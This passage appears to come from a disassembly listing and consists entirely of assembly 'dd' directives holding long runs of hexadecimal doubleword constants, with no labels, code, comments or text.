7DCB9A55h dd 0E9178B3Ch, 0D8BE3A5Bh, 0F182EF93h, 864A88BCh, 0D695F1Ch dd 2D464D88h, 92410287h, 1CD52B87h, 4E3BFC6Bh, 55E6E4BFh dd 0C970D49Fh, 0ADE902B0h, 290999BCh, 58B075C7h, 0D29FEE81h dd 13FE9868h, 0FAA68BE9h, 0A43EEE33h, 56CBD6D8h, 0BE4B734Ch dd 0A490F82Dh, 96680B65h, 0D6997F58h, 72F1FCD9h, 5640799Eh dd 241C8DBEh, 2DBD619Dh, 38B50A5Dh, 0F3D95A1Ch, 31013D50h dd 56C7C8F8h, 6A6BFEF4h, 5B29FF5Bh, 72A979h, 935ACBE4h dd 397C9656h, 0C8810851h, 0E5282DC1h, 2ED9FD6Bh, 197E69C1h dd 5DD96AFDh, 0AACDC02Bh, 130E8B63h, 2007F605h, 25D8F730h dd 5A59E4DBh, 0C495AC31h, 80ABC329h, 4410593h, 930492Fh dd 3ABADDE0h, 0C0185E5Dh, 0E152FDFh, 0CBE5C13Ch, 0FDCF88AFh dd 823FE1B5h, 4F87FEEEh, 65F8630Bh, 0A4A8544Bh, 2F16E5D4h dd 103DDDD2h, 19156899h, 56C6E981h, 1B80A5Dh, 2050244Dh dd 28BF9AFh, 0F0563877h, 9F1D5069h, 0F7E9485Eh, 8E8C00C5h dd 0BDC587CBh, 0BF097Ah, 0E932495Bh, 0F0E6E569h, 86350452h dd 804E0BE4h, 0D306BB98h, 50017A3Bh, 301FACAFh, 0F38175BEh dd 0F6D3617h, 5886A03Eh, 0C5BD874Eh, 0A041E9C2h, 68F69955h dd 75C26DF1h, 415A59DEh, 0B00278E1h, 823082FDh, 49020B4Eh dd 0F40B7023h, 0FFF4AF12h, 0ED45F280h, 2AE94BBFh, 0BC38DC52h dd 0BB482FD6h, 1D12FCE3h, 3F00412Fh, 9B42C15h, 0DBF72443h dd 0D27D13B5h, 6262AC80h, 80D9765Fh, 88B51BB4h, 54C5E530h dd 0EB293C81h, 57B6DEDh, 0C460B569h, 0FAEF528Bh, 4B3B5EC1h dd 0BFDBDDC2h, 0B12596Bh, 0CD94E16h, 18895E9Eh, 0DEE9A92Ch dd 0D360271Bh, 731DC5F1h, 7EBE7E78h, 21322D0Bh, 3DE43850h dd 15732D05h, 875E5D89h, 601A7127h, 1BB620CAh, 7771F6A0h dd 432D8C0Ah, 0AC01994Bh, 21E9106Fh, 874FF841h, 0D6CAE2D2h dd 685002A3h, 457735B9h, 309920E9h, 0B8271627h, 8CB81F98h dd 89B38295h, 7679C2EBh, 0BA5D27FAh, 6E7E554Ch, 712A7780h dd 0D27C2978h, 67B50858h, 9AB08912h, 81444196h, 0ED56C966h dd 0A7424042h, 83F576B6h, 7BA415FCh, 34D0B0DAh, 813D209Fh dd 2C270ACAh, 34B5091h, 5E2A7893h, 4BE0C01h, 0C368317Fh dd 628C917Ah, 67BE0569h, 0C53EC207h, 0D0CD2548h, 7623C04Ch dd 0F66CED3Ch, 0B4501D09h, 88262218h, 3F6E41EAh, 6FA357ACh dd 0DF4CA946h, 2417DF9Ch, 0F25CD7FEh, 1EDF0F70h, 0AB574F63h dd 54553A21h, 0CEC1013Eh, 832D0938h, 0E747CEAh, 16AEE45Fh dd 9295FBA5h, 89C004FBh, 0F93005DAh, 0DD0FB51Ah, 0D850CA82h dd 935AF9F7h, 798DAD55h, 2C687E40h, 0C2A21D78h, 0FE57EDBCh dd 0EB6472DDh, 8112B15Ah, 580BD1E3h, 4D555450h, 0ED57929Bh dd 0D4A184E9h, 0AAD61213h, 81EBA7C7h, 5FF92910h, 0E9844839h dd 3D0BCF8h, 0B252C5B9h dd 6BAAD109h, 0ADD28D97h, 3ED34DC4h, 0AF45C30Ah, 4A7BF23Eh dd 0F8B591AAh, 22F7FA68h, 0AEF3411h, 2CFA0543h, 309AAF2h dd 43C577E0h, 0F88759ACh, 0FA0CC56Fh, 4EA31CEBh, 0F30CB1CCh dd 6B0A311Bh, 8DC31082h, 14050C08h, 1AACF6FEh, 606EBA1Fh dd 9F6768A9h, 0A2B2C151h, 4D0B09DBh, 662B2FD7h, 28274C47h dd 94A15BDAh, 0B7620CD6h, 2DEE50D1h, 0C3FF64E9h, 222511E0h dd 43525C21h, 66E11690h, 2593E5E9h, 0E7FC618Fh, 74793C13h dd 6F3EFED1h, 7E68CE6Bh, 52BC052Dh, 9EFFA45h, 45F87DB8h dd 0E758DBD4h, 6A681205h, 21748C0Bh, 155D1B17h, 5A65F805h dd 0EFE974EEh, 41A6F0C8h, 0DA4BA022h, 16216100h, 0E9F7014Dh dd 33995EBDh, 0A98D20A8h, 0D061D391h, 0D42806E9h, 85685305h dd 94C5E7Eh, 7259283Ah, 2581559Eh, 5D785970h, 2243933Fh dd 6C9493B9h, 5B521413h, 774A18C4h, 16E8EB7Bh, 1F671F54h dd 2B714277h, 66C34317h, 3F59D4A2h, 1C5CF6AFh, 2BFCEDBBh dd 55475848h, 0AA32C6F2h, 670EA672h, 541AE90Fh, 5CF0CE2h dd 2FB5BB2Ch, 54EC4B8Eh, 0F8092E69h, 0FC728850h, 0E213D774h dd 0FBC76658h, 7616FDB6h, 27549EE9h, 0BDD3A2DFh, 0B3772B5h dd 6B752B9Bh, 31C2550Eh, 8180137Ah, 0C871CDA5h, 0FDFD899Dh dd 154F3B80h, 0E92739E4h, 0C5057DA2h, 8BD2BD2Ch, 5AB20554h dd 482120D2h, 82CED272h, 2C69E6C0h, 6482BB5h, 98D544FBh dd 2A150937h, 4B07176Dh, 77C36F53h, 2AC7C729h, 4F6F2808h dd 0B22E07D6h, 0C7FA0472h, 0BFED401h, 0FE94D75Ch, 0DFF329B7h dd 645DE152h, 0EE5B3068h, 5F0D1757h, 3410AA67h, 37E91708h dd 0F2AFBD13h, 0C231C570h, 13EA79C4h, 0AF1FC5C3h, 0A64F1F9Ah dd 593510AEh, 68565301h, 0EA074ECEh, 21F03AD0h, 830DC96Eh dd 0E0743A43h, 302756F6h, 5B182526h, 0D227D36Bh, 23AD489h dd 7012E9D8h, 96C5C005h, 8C45FC83h, 74F00107h, 5DE8EF41h dd 7A56A597h, 7682904h, 1BCA813h, 2212FF7Ch, 0A22BFE01h dd 7550C99Dh, 1E2D2B53h, 185D957Eh, 80209F2Eh, 549FC281h dd 2FB42618h, 29BE9A80h, 1F12741Dh, 1058D6F7h, 480A8ECh dd 5B56D0B2h, 0A522815Eh, 0C032B689h, 0A145014Ch, 0D609F3BBh dd 50228D5Ah, 78D9D127h, 0B1EB013Bh, 0FCCB20F5h, 1A9FABDDh dd 0BE407648h, 6001DFA5h, 5147BD68h, 1131DD6h, 942057ADh dd 3C2A24DFh, 732C08D3h, 13C8010Fh, 0E84F698Ah, 617FC6E1h dd 0F6EA77B5h, 0FBADB2EEh, 462226D5h, 4B4DC902h, 22782815h dd 0F17AC104h, 0CFB98DB1h, 0E9175A48h, 0AB25C5D4h, 0F4CB55Eh dd 58AABBC1h, 10D9AC04h, 5E303E6Ah, 0B888641Ch, 3D250303h dd 56772855h, 42D5BE07h, 5EA5106Bh, 0D14788AEh, 0F74DE51Fh dd 9F95DAEDh, 60DC1BC1h, 259DF36Bh, 91B14587h, 31B1AC2Ch dd 2DEE3AC3h, 21FA31C3h, 16A36BAFh, 57D99617h, 4F7BACDAh dd 47433FC1h, 32094366h, 0C85F3072h, 9D41081Eh, 89DF1246h dd 4EF03A0Ch, 786C0305h, 0D0F772ABh, 94C6F007h, 66D08EB2h dd 1453065Eh, 72DE829h, 16A314Bh, 0B5E63BC5h, 0B138E84Eh dd 6C9628EAh, 1631CB5Eh, 9FAD056Bh, 0B48F0492h, 8484B292h dd 0AB16AA43h, 0B55C2C2Ch, 0F82D75E4h, 0E1535640h, 885DF468h dd 1302949h, 3F56FEBBh, 93126E6Bh, 59D31D1Fh, 9753A6E0h dd 74EC3257h, 0E4BE2664h, 5484ABB8h, 574B98B7h, 0E204BE92h dd 0ACE826A1h, 3E3B06C0h, 0DB0EF77Fh, 4883EBD1h, 6D0102FFh dd 9CCB1E35h, 4FD1E7CFh, 0FD296E67h, 0BB080522h, 5CE71F2Ch dd 0BDC0A92Bh, 53D4FC23h, 81B70095h, 251F71E5h, 5CF6366Bh dd 841B156h, 6804388Ah, 0CBFA05C7h, 7F292599h, 76558B4Ah dd 0E45A970Ah, 220B3903h, 95E7D52h, 0CCB45503h, 50187595h dd 9DB49EE9h, 8BC1590Bh, 0D40BDD74h, 0B4829171h, 0FD3F945Ch dd 362553E0h, 0E0BD9FE2h, 261A5616h, 1E88162Ah, 1BA482D6h dd 0A260EAC1h, 95172FF2h, 12BB0B94h, 0AF99EEEFh, 47C99921h dd 0E7575012h, 0C67A758h, 81E2FD08h, 666CD1CDh, 0CF133015h dd 5156441Fh, 0D6C7F501h, 0B02FADAEh, 29F09E5h, 0FDF6FF77h dd 0DCAF83E5h, 674872E0h, 519D2003h, 2E0BCB93h, 14A654D9h dd 36AF2913h, 0FE387438h, 9DEE4B6Dh, 9D1DCDD8h, 0F78B4E3Ah dd 0E6B6A79h, 1FC381A0h, 0CD414163h, 0E0CC4907h, 0CE51954Fh dd 0F76FFD42h, 2172FE30h, 822CD1B5h, 434F5422h, 9B680860h dd 0C20C7495h, 454AF67h, 0B909299Eh, 0F19CD747h, 499F49Dh dd 0E8081C74h, 0CD7104F4h, 6485EEA7h, 80BBF3C0h, 0EC49258Ch dd 214F29F8h, 0C11130BEh, 3A203E5h, 0D18AE15Fh, 0C553D32Bh dd 3A1397B9h, 0FF4E718Ah, 2CE927DCh, 8065A3F9h, 174FBE56h dd 0E898641Dh, 0BB453E41h, 22F196AEh, 21259303h, 0B442E944h dd 34575D09h, 80EEB623h, 29BF5755h, 457C4942h, 0C8FCFD5Fh dd 7A679DE4h, 0E90C78B9h, 0C79163C3h, 0C1D0D50Bh, 77768996h dd 770C2045h, 45D0A61h, 9A50E005h, 2D58C240h, 90B2078Eh dd 3D34E9E8h, 4E8669Dh, 1E2073C3h, 0EB69D210h, 66680881h dd 0CEF260Ah, 1A7279ABh, 9E7F454Fh, 78425290h, 4111BF42h dd 5E02A51Ah, 7A30E261h, 5EF54D88h, 6F7A8C28h, 0C78F4648h dd 82A15751h, 0F970CA5Fh, 0E82141FBh, 0EDC95977h, 256A745Ch dd 1D447AF9h, 257F0716h, 292EA205h, 7E59DA61h, 1FE2D912h dd 16FEBB40h, 0EC5A6F46h, 7C91C2CDh, 38A6DCCBh, 5C762DEh dd 94865077h, 5A6E0B89h, 97D21C77h, 66713874h, 0E4BDFC6Ah dd 51044EA2h, 0BB5960E9h, 0EDA38FD8h, 0E8F5D93Fh, 0FD992C96h dd 695BD9CBh, 27BFE1DEh, 0ADC9DCEAh, 2A203AF8h, 50FEC7A8h dd 0FAA94549h, 0AF31E97h, 0AB79B371h, 895512DDh, 2097EED6h dd 2E14FC4h, 16F586A7h, 55EF24EEh, 60992080h, 80DC1D14h dd 0ECE635C4h, 0ED5BAD26h, 8BC1C16h, 499C0C9Eh, 8309EFCFh dd 5C0A7D6Ah, 0D708A0A3h, 0C84BBE1Ch, 0E9846859h, 0B3365E1Ah dd 0D0979FD2h, 4731D9C2h, 0F02109A5h, 0D84CC984h, 0D4FA2D1h dd 7F3DF0C9h, 50C4D310h, 422DE8A0h, 0FC5960F8h, 5ECF2F73h dd 2432B08Eh, 56FF2351h, 9037A220h, 0C9F73A0h, 0DFF613E7h dd 0F7F62010h, 0FA309A05h, 35A4C2E9h, 655A73D7h, 215B24CFh dd 8062BC94h, 0DF685120h, 263D072Ch, 3F4159h, 1B2459Dh dd 0E913F909h, 0D23510AAh, 4ACE9BBBh, 9AE10AECh, 0E46800ADh dd 0CF70BC34h, 0A375C4E5h, 0E9E84FF9h, 16DEDA7Ch, 88C2F056h dd 0BCAC85E3h, 1D058BBDh, 0E83F4F76h, 31A5B732h, 0E2E7A2ECh dd 4FC87CA6h, 88724427h, 146150B7h, 0A05F801h, 6D49E90Bh dd 0ADF6BFCEh, 0BF4F3B92h, 9071E8B9h, 38422D55h, 1AC32AA0h dd 7EB7B49Eh, 49340CA0h, 4B01EFB7h, 31CBBDF4h, 62705FFAh dd 4E6B1879h, 1C32D425h, 0C381830h, 0F62BA2h, 66230539h dd 83E902F9h, 0BF4A1961h, 56C265BEh, 343013A1h, 6B2BA1CEh dd 21F2F7ECh, 402B856h, 0FF682C4Dh, 25BDA051h, 41E06807h dd 0D692586Eh, 34DD301Ah, 0D20BF254h, 0EBB8D712h, 0EDB8EBC1h dd 16609520h, 20D361E9h, 6B7DEF7Dh, 0D21AFC2Dh, 633B20AAh dd 0E1C3801Eh, 4D426D17h, 0EC21E368h, 0ED9E207Eh, 562D7390h dd 83B0DADAh, 0C4BBA4ADh, 0A910C7FCh, 122538D0h, 50ED5E63h dd 7B170DC5h, 0A1B45164h, 0BE1FD35Bh, 0BBC29B67h, 0C9F74A64h dd 126C61E6h, 0DA885207h, 55D43750h, 0B874C1E1h, 85B796EEh dd 0B5C3C3F8h, 2CD966E8h dd 2BC1717Eh, 8ABE7384h, 844490A3h, 0F8902DA2h, 6EFE47E2h dd 9FD04C2h, 148F88CAh, 0D574C349h, 348BFBAh, 0A8E92CEBh dd 0C6712DD5h, 1E187D7h, 2F198E6Ah, 0F0EA871Ah, 0AC41FD5Ch dd 5C02C370h, 8150BC5Fh, 8C393F8Fh, 37A0CB27h, 0C26A26F6h dd 0D7180E62h, 0D2DD0982h, 0AD4834BDh, 67FCEE61h, 0EEE952B0h dd 560B31BBh, 5015DF54h, 0FB8164A6h, 53206656h, 0D329E86Fh dd 647FB7BBh, 0EE12CCB6h, 400650C2h, 26B91AB6h, 20C1654Ch dd 0BF4470FAh, 2CE54551h, 0D257B2FAh, 5575432Ch, 0AE21971Fh dd 4B1BAE89h, 0FF2A42FFh, 5609F595h, 7DBEB258h, 702062D4h dd 0D0C1485Bh, 382F9107h, 0B801504Eh, 6F942D0h, 92B3DE9h dd 0F8124742h, 0BBCAB742h, 1F9218D8h, 9D6F7097h, 727A327Ch dd 1B3A2068h, 5D80100h, 771335FEh, 2CBE1E56h, 4649CB41h dd 0B698784Bh, 7AF90F4Eh, 13BDEDA4h, 127AB23Dh, 0BFF6C4D7h dd 456FDA45h, 749600BDh, 7FCAAE58h, 412E94Fh, 1FEC68F9h dd 6301A8F3h, 0C134A41Bh, 8C1D2BE9h, 1642AF17h, 0F66C0768h dd 0ECD6D0FAh, 0FC1848BFh, 14EFD21Eh, 0DB3D750Dh, 0AF90FE40h dd 94290B27h, 3852F78h, 5E4BB9F1h, 2F507940h, 0B3A4DEECh dd 6857016Ah, 1BE45314h, 385C06Ah, 374C4201h, 5A09381Ah dd 31FC2BBEh, 0F5AEC253h, 7B56F73Fh, 4B163725h, 0D01DE046h dd 0F4E4A365h, 0FD015082h, 0D28D7E81h, 0A6B96FF5h, 3D58FA0Eh dd 0E169E9C4h, 14D36066h, 4AFD88BDh, 0C35DC1FAh, 0F82EB801h dd 4ABA2981h, 4F591A17h, 7952E6F1h, 25EDD443h, 0B45B9F12h dd 7A2206CFh, 189035Dh, 852D6056h, 0C34B0B78h, 0F65B798Eh dd 96D54806h, 0D96895D1h, 3F47992Fh, 2CF64A05h, 954A428Ah dd 0D5CCFF86h, 7B154182h, 0A505F707h, 0C175AD33h, 7402DD8h dd 91518DE9h, 60BA01D4h, 9857F00Ah, 0E8A155E6h, 0EE7C9505h dd 4880A492h, 6B3AB9h, 0E181095Bh, 1A2E6A28h, 4307C9ECh dd 0C155DD1Dh, 0F41E03C6h, 2D8E2772h, 75D8407Dh, 0CA2E27B7h dd 0F59A2DE3h, 32F79C1h, 4A1AB154h, 0E6C3913Eh, 749AD3E1h dd 437A6760h, 0F5705824h, 2D1F73BFh, 0CE811976h, 7F0632B2h dd 8782880h, 0F289D7D8h, 6F4B2CB8h, 0BD688F20h, 78EA8317h dd 5445AEAh, 0B24F7298h, 4BDEE7E8h, 99F30888h, 17790E88h dd 1310A821h, 9BB91A5Ah, 0F5B70FC7h, 49B3EE51h, 9ECAAED2h dd 0A372AA5Ah, 5620FDB1h, 0A47B4BC5h, 0CC746E7Bh, 0DCC8F0A9h dd 32C93EBCh, 5E645051h, 4F66B3EAh, 9788AB28h, 0BAC416FCh dd 0B342A4A1h, 0B72770B5h, 0DD49A259h, 0D75B09E4h, 5D54BAB3h dd 0BADF7F7h, 53516854h, 0D29CFC3Eh, 0E9C307ECh, 7402238Bh dd 0E01D0BFh, 0CCEFE166h, 7580DADh, 7D82F0E0h, 0F425F276h dd 535F967Fh, 0CAF1BE6Fh, 0B5ECEC7Ah, 0AF3346EAh, 0ED4FDF3Dh dd 0EA6978BDh, 48429F7h, 5802F4BFh, 80E1C780h, 0E7C0C4CFh dd 0F7280579h, 5B79B38Ah, 0E902E509h, 0FC74D88Ch, 61A67EBh dd 0BE17B26Ch, 51C52255h, 3E68015Dh, 7B75C20Eh, 0BD4EA864h dd 559350C5h, 124835F7h, 48AECA92h, 0C2F04DAh, 4A821DA9h dd 59F00B8Eh, 0E91A178Eh, 0F85935C1h, 643E09E3h, 0A8C8135Dh dd 5080EE4Eh, 3FF87289h, 0BB4B58C2h, 0DC41E12Dh, 0E73EACA7h dd 42D925B0h, 0A7F25C2Ch, 0F54AA241h, 2C13864h, 1585A50h dd 0B501E654h, 147986D1h, 0BB4DF03h, 5F863957h, 96F8CB7Bh dd 6C50C17h, 6A589C9Fh, 5914014Ah, 585A0F68h, 51485E80h dd 2D815AD7h, 0EA5F529h, 75EA1A20h, 0DA5E7F22h, 0CBE00AEFh dd 2FFA01BAh, 2B593510h, 0DC6F7863h, 0D830AC03h, 6FC5E3C1h dd 4B13090h, 52E13980h, 0BB38C196h, 64C9C4D1h, 9766F1F4h dd 602AB8D5h, 0BABDD38Eh, 0F406561Ah, 0BD0A13F7h, 58B4CF8h dd 3A296754h, 5724B182h, 34D7C022h, 0E1285065h, 9734F297h dd 190276DCh, 5D2BF54Bh, 0C827DEEh, 0E94182F4h, 1824B3A6h dd 0B60E5B7Fh, 51F90539h, 0E3F80850h, 79BB2B10h, 0A80668FCh dd 5D2CC915h, 0C586C01Eh, 0C1182169h, 73F0E358h, 0AF05520Eh dd 14F3C078h, 9F358001h, 32E2B902h, 267AC655h, 5B778879h dd 0C72D0C7Eh, 0C5107142h, 478BC250h, 0F193CE79h, 9758F8B0h dd 5B87DC5h, 942E57Ah, 0CA5B62A9h, 61E9C5F9h, 9729B8A0h dd 90806DDAh, 0C2454D4h, 46026E05h, 55673053h, 11B09FF4h dd 0B7515A5Dh, 0E5A89859h, 50BFE84Eh, 8016EDD6h, 0AF33FA60h dd 210CDCE0h, 9A54A72Ah, 0A00BCE8Fh, 5F453504h, 6B39D148h dd 0E9251E06h, 42975F3h, 0F927F5EDh, 10828433h, 5E2D08ABh dd 0A20F5782h, 0D7EE0504h, 7386508Bh, 7CFE4567h, 0A7904B4Fh dd 7B403AB6h, 0ED834D48h, 5F8FAB4Fh, 40578464h, 0C0674FC1h dd 0FCF2EB0Ah, 79BF821Bh, 825503EBh, 1D0947Ch, 7F5FFA29h dd 0C230EFB7h, 0E156F6E0h, 55095C76h, 2B21E95Fh, 0D5957F1Eh dd 8AE8E985h, 4939A6AAh, 0C47E4D49h, 0B90A3BF7h, 125145D4h dd 54088149h, 0F26D831Bh, 0E2772564h, 0E4CFA01h, 3F706851h dd 0B3DBBB16h, 0D264A35Ah, 310E5C05h, 9402CFE9h, 5A728E62h dd 42AB8280h, 80BD4BE1h, 496C714h, 0F20A762Fh, 0E66A2F66h dd 0B71570D2h, 2A891E2h, 72E9D089h, 0A0E6D633h, 4CF72FA0h dd 0E75E9746h, 2FE6D16h, 2B576891h, 0B184B159h, 23C0B042h dd 303F99C9h, 3BC65628h, 105D72D8h, 7FA740C0h, 13C64C10h dd 0BCC0EC20h, 0BA47AB8Fh, 6E81CB01h, 0DD987ED0h, 0ED1EE698h dd 0ADBE2824h, 0A9CD764h, 0FC29BB6h, 0D303DFB6h, 88C55637h dd 2BFBCAA6h, 0D23D62EEh, 42267556h, 9145205Eh, 13D16812h dd 17C53AECh, 0D19B613Bh, 0BCAF04BCh, 30A010F2h, 60813548h dd 0E221E65Ah, 0FEBD42C0h, 68124DA4h, 3DBB563Bh, 6853F4A4h dd 766F9F07h, 0B9655B11h, 0BFC971ECh, 4512DE5Ch, 0AAD0001h dd 0DFD554D3h, 13F04A4h, 94C5ECE6h, 62F4834Fh, 0EA9CC303h dd 0AC4B55EBh, 205599E7h, 0E9FB29B8h, 0ABC25A3Bh, 0BE562760h dd 0D36E12A2h, 461BC73h, 12D9486Dh, 450F7ACh, 9B3B1658h dd 714AB416h, 19852502h, 535A56E9h, 405012E4h, 23492DC6h dd 2126F682h, 8D39D6C5h, 0A6BDECC2h, 4E10D4h, 0EA013A94h dd 3F16856h, 0E9584B09h, 5D19A9FCh, 0D6093BBEh, 0DF70B773h dd 805ABC2h, 46E7FE55h, 0B760AF92h, 0B72F6668h, 9F20D146h dd 2E5A7EA3h, 0CEE719B4h, 68A50E89h, 0AB9713CAh, 39B8AD84h dd 3DE8884Ah, 9287163h, 2FE73C3h, 7D39202Eh, 0ADD7E3D1h dd 0CBF8081Ch, 0C3601885h, 1F5D285Fh, 5DA02C27h, 5C4A29E4h dd 48414DAEh, 0E5DD2083h, 267BE1E6h, 16212C30h, 14852DADh dd 0EE174302h, 0D86AC109h, 0E8C6F984h, 0CFE84A84h, 24903E61h dd 9CFC3085h, 9B3834Fh, 7D3D5610h, 0FB0E112Fh, 5FE96186h dd 0A45F6846h, 6168A500h, 963BB50Eh, 19B6883h, 40FA1127h dd 62A2241h, 915BDBB8h, 2F267F5Ch, 0AE772339h, 3F017337h dd 258A6F0Fh, 7CA6EC2Eh, 0E652F227h, 697225D4h, 310F6C55h dd 89AB3A17h, 0DF2D0230h, 0E6F4F5F8h, 4697EB4Fh, 0A550F4C9h dd 3C9D94E0h, 0E94DEF0Bh, 0BB0E4065h, 0BA231260h, 1391D74h dd 89459EDBh, 2BAF21DFh, 0A2EF5E85h, 83BA9298h, 11580118h dd 2F7931F5h, 0A07F3EB4h, 0D800F494h, 6603E4C0h, 0AB35351h dd 38C8E9E1h, 30F5ADAAh, 182DF372h, 8E6C2F4Ch, 402E2A61h dd 439CCF3Bh, 471D2764h, 55D2C5C1h, 0EAC8DD89h, 0BB084AE9h dd 0CBF29633h, 0C2F5AF2Fh dd 9A94FE0Ch, 5BECEC5Bh, 22A3898Ch, 46FF4BCFh, 0E9159248h dd 6E6FC31Ch, 0D7A5E9B9h, 5A860CDAh, 25D79C9Dh, 9C09A6E9h dd 1E57DDABh, 0B7E92773h, 0FCBEA760h, 0A5337A17h, 2B533913h dd 0EFA2E204h, 59CFD091h, 161FA762h, 5E44752h, 2239B2E2h dd 442D56C1h, 0F65A0C07h, 616B94Bh, 841E617Eh, 41527AC1h dd 340701D7h, 8591E9C2h, 0FD885299h, 7D4C0D85h, 2E2C2920h dd 320069ACh, 0E90E6525h, 0DBB72379h, 8A2327C1h, 0BB2492C4h dd 0CF3D4CF2h, 0C1318BC9h, 1786F62Eh, 0DFF93130h, 5180A0D7h dd 59313841h, 44DB36B8h, 0AED6F61Ah, 28C34A40h, 5C9DE9F0h dd 7870E3Dh, 0DA274005h, 0DDF1D178h, 912BF082h, 74DBE917h dd 8D8A7F5h, 0A04F5B75h, 0FD6DFECh, 2EE9C1B0h, 9647600Ch dd 0A829BAD7h, 85E90786h, 2EC51F8h, 0FF3114Fh, 0AF4C1E99h dd 0DB667ED1h, 0FB61BBF4h, 0F37A7C29h, 63323296h, 0CAB4052h dd 0DD883B51h, 4BEF7573h, 7919C1FAh, 209C7F14h, 2C6812B7h dd 15FCBC48h, 5F507FFh, 0C26B18F6h, 8FB3EA06h, 215C155Eh dd 0FED37AD0h, 9FC39868h, 5DF2DDFEh, 0E950DA74h, 8A2C4E9Ah dd 5F7748F3h, 2C1A16D1h, 0C8364C5h, 1446B57h, 34954DD9h dd 0B4A2C177h, 6C2210FFh, 0C73DC0BDh, 514D39CDh, 75356817h dd 952F59F3h, 0F831F540h, 5955E9D4h, 0C0185894h, 5DA7A8BEh dd 59CD2C21h, 7BB202B6h, 0F5236Bh, 0FB3BA4AFh, 801AC25Ch dd 45411A64h, 0EA49AC1Dh, 1701808h, 0F18081B1h, 8B069DB3h dd 2837C182h, 0E0C3FFCAh, 1AC3B302h, 0DD638A3Ch, 40EB8BC1h dd 1080E908h, 206E6B5h, 6662B3D5h, 0F0C1D631h, 0E9E95059h dd 0F197255Ch, 142D83EBh, 0D0E927D6h, 1E8F2AC9h, 2670DE27h dd 51A556BDh, 604635DDh, 0B7860331h, 0C5408EDCh, 38663901h dd 2DB2E90Ah, 2B5D3030h, 0ABB87FA3h, 88F7A568h, 2F513DB1h dd 204A8DD8h, 792D2000h, 72A9313h, 507AF005h, 14CDF34Bh dd 4ABDC376h, 0B8AF7FBAh, 447C67C9h, 9764162h, 1922B98Fh dd 0EB8066D5h, 51B603A5h, 48D92934h, 0D45B0809h, 2753400Ch dd 0D2B579A1h, 520880C6h, 50686050h, 35584509h, 4D42B501h dd 40D0F731h, 968BAE20h, 0AE4525E4h, 34EB6884h, 72E0CDEBh dd 0A3312DC0h, 3C286C96h, 2020F743h, 0DDBB8BB5h, 29E94E30h dd 0CD66F6A9h, 99EE032h, 820924BBh, 8F06532Fh, 64A5C329h dd 8049EB15h, 841AFDDFh, 0CFEB9301h, 6E0B8F63h, 57365929h dd 7DC2BFF8h, 0DFF7305Fh, 794EF20h, 7F5C0ADEh, 0BB86C865h dd 7E4F90CEh, 9A587BC7h, 4978B515h, 0B0D4AE25h, 9332F132h dd 246913D0h, 0C8A8EB45h, 74F79DFh, 79E831C0h, 0FEA795DEh dd 59782F40h, 0B1B7709h, 0A94A003Eh, 0C37B8D68h, 0AE224C0Ch dd 96A1BBF5h, 820C0806h, 66265C14h, 0E2208D87h, 0ECC01795h dd 26C0703h, 2D026980h, 0FA843CB3h, 0FBEED4ABh, 0E294C0A6h dd 0AFF02A2Ch, 0CB202BDAh, 0DEDAC4BEh, 555B00CEh, 39E1B951h dd 5A48CD36h, 2910B506h, 0E4160C22h, 0BAFF53Ch, 3F80493Fh dd 0E7D60C8Dh, 534D0B5h, 98E9CD89h, 0E1FD406Ah, 62E57C5Ah dd 7E4932DFh, 209E7212h, 591635AAh, 30FE3B68h, 801DB2D9h dd 7C60EA2Dh, 0C50409EAh, 58C712F5h, 281B3A3h, 38C74B32h dd 10DDBFEh, 0B03ACD9h, 76E165Bh, 7BF7F76Dh, 5D25DC25h dd 68059067h, 34EF6152h, 0F7A30B84h, 9F00EE5Fh, 0F20DE44h dd 0F6FE957Ch, 0DD9F4009h, 21D9C3BBh, 51481D3h, 0E0BADDAEh dd 0EB23136Eh, 176D74C0h, 5029648Dh, 6B90FA1h, 3514B646h dd 0BA3FD17Fh, 0AA844195h, 7C99A1C2h, 292482Ah, 7FED408Ah dd 609771D8h, 801A3E2Bh, 551FF001h, 8EE8E6BDh, 6B0DA480h dd 0FF951671h, 0BC446185h, 59D4A82h, 37EED03Eh, 66600658h dd 2C52C13Ch, 1FCF943Dh, 0DC216508h, 0C2790AC4h, 0CDA5FE77h dd 13271419h, 854B1721h, 6FA6FAB1h, 49D0A0D7h, 0D119A7B1h dd 0C0002BB2h, 807905E1h, 347BF858h, 0F8C40698h, 22549504h dd 0BFF8CFA4h, 0F9F738EAh, 1FE9C149h, 0C2EB53FAh, 67C150A2h dd 4AE310B9h, 96FD7B69h, 5A4E0216h, 0BAE12124h, 4C9F4ED1h dd 0D830C96Eh, 215E27D1h, 0A39A96FDh, 557D925Ch, 667F8D89h dd 25B392DAh, 455D6E1Ah, 48D7A596h, 38689253h, 0B5707BCAh dd 5A847867h, 0FDB093E9h, 514C0BBEh, 8046839h, 0D5C34990h dd 4557D142h, 0D1BEAC34h, 2375ED68h, 0EF4C50A3h, 614C6003h dd 4B0CACE9h, 0C67B811Dh, 29F22426h, 0BF627B97h, 837001ADh dd 0AC61C7BDh, 9EAFE3F0h, 65A64D4Fh, 6F627127h, 0F00DB6FBh dd 327D2FC4h, 255BBD5Eh, 0C2647F5Eh, 9867E973h, 78624D2Ah dd 0B2CB56A9h, 0DC5E7BEFh, 59C7FF25h, 81BC5D12h, 2DBB55CAh dd 97FF3509h, 3CE82534h, 45BD9B9Ch, 0E4C7099Bh, 0E96B9080h dd 27B5D157h, 0ED3208DEh, 3CD54107h, 5AB451F4h, 0C72A0B31h dd 2906CEF2h, 0E425E9EFh, 1260BD38h, 0EBB1C00Ch, 0EFD73ADh dd 0FB124783h, 1E96C1A2h, 0EA57456Eh, 3A1FE6Bh, 7B830805h dd 0BA545A5Bh, 47C37C1Ch, 527A31Fh, 0BEBFA0A0h, 0C1FB8434h dd 8E3B764Eh, 6499C6DFh, 0E0AED840h, 7D4C1860h, 0E668A1B0h dd 84AE376Fh, 0BC7E9482h, 16AAB429h, 4F05F8FEh, 0A1EAEAD0h dd 50370F18h, 5BA6D531h, 524C1AC3h, 5A643839h, 0CA7E099Dh dd 0CFB64E35h, 0A96BF318h, 52122477h, 70D6478Fh, 5A292E7Ch dd 59CE8C90h, 3B16DF3Ch, 47AE6164h, 0A6308A08h, 76001C3Ch dd 2162BBCAh, 0A8BAE9F5h, 97D7F7F4h, 812456Bh, 73ECA568h dd 0A1B0B897h, 0EE05EA08h, 9281D965h, 0BF0522E3h, 54503C21h dd 0B80C2C6Bh, 0D3DF7F5Ch, 401F3398h, 0FBDC2D30h, 0FBE7FFDh dd 79C40D01h, 3FE8674Ch, 255492A4h, 0A1FF04E2h, 0FBB7FA59h dd 5A67C27Ah, 0D2BFD45Fh, 5274CDAh, 273F6511h, 